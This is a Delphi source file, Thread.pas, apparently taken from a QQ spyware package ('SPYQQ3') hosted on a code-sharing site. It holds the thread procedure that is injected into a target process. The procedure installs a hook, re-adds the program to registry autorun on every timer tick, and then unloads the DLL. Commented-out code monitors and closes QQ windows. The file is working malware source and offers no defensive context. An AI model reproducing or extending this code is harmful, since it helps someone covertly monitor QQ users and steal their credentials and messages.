www.pudn.com > SPYQQ3.rar > Thread.pas


unit  Thread; 
 
interface 
 
uses Common,CallSelf,RegSet,VarUnit,ShareData; 
 
// 待插线程回调函数 
procedure ThreadPro(X: Integer); stdcall; 
 
implementation 
 
uses Windows, Messages; 
 
var 
 timer     : integer; 
 timer_out : integer = 1000; 
 
{procedure InitialCloseQQValues; 
var 
  cfgFileName: String; 
  Config : TConfig; 
begin 
 try 
   InitConfig(Config); 
   if CallSelf.GetShareDataA <> nil then 
     cfgFileName := PGlobalDllData(CallSelf.GetShareDataA).CfgFileName 
   else 
     cfgFileName := ''; 
   SendOut.ReadValues(cfgFileName,Config); 
   WillNotCloseQQ  := False; 
   CloseQQWaitTime := Config.CloseQQWaitTime; 
 except 
 end;   
end;} 
  
procedure StartTimer; 
begin 
  //InitialCloseQQValues; 
  timer := SetTimer(0,1,timer_out,nil); 
end; 
 
procedure StopTimer; 
begin 
  KillTimer(0,timer); 
end; 
 
procedure ProcTimer; 
begin 
  if ShareData.GetShareData <> nil then 
    SetupRegRun(ShareData.GetShareData.CfgFileName); 
  {if CloseQQWaitTime <= 0 then Exit; 
  if not WillNotCloseQQ then begin 
     if IsQQDialog(GetForegroundWindow()) then begin 
        WillNotCloseQQ  := True; 
        CloseQQWaitTime := 0; 
     end else begin 
        Dec(CloseQQWaitTime); 
        if CloseQQWaitTime <= 0 then begin 
           PostThreadMessage(GetCurrentThreadID(), WM_QUIT, 0, 0); 
        end; 
     end; 
  end;} 
end; 
 
// 待插线程回调函数 
procedure ThreadPro(X: Integer); stdcall; 
var 
  MsgStruct: TMsg; 
  hMutexObj: DWORD; 
begin 
  hMutexObj := CreateMutex(nil, FALSE, DllMutex); 
  InstallHookA; 
  StartTimer; 
  while GetMessage(MsgStruct, 0, 0, 0) do 
  begin 
    if (MsgStruct.message = WM_TIMER) then begin 
       ProcTimer; 
    end; 
    TranslateMessage(MsgStruct); 
    DispatchMessage(MsgStruct); 
  end; 
  StopTimer; 
  UnHookA; 
  CloseHandle(hMutexObj); 
  FreeLibraryAndExitThread(HInstance, 0); 
end; 
 
end.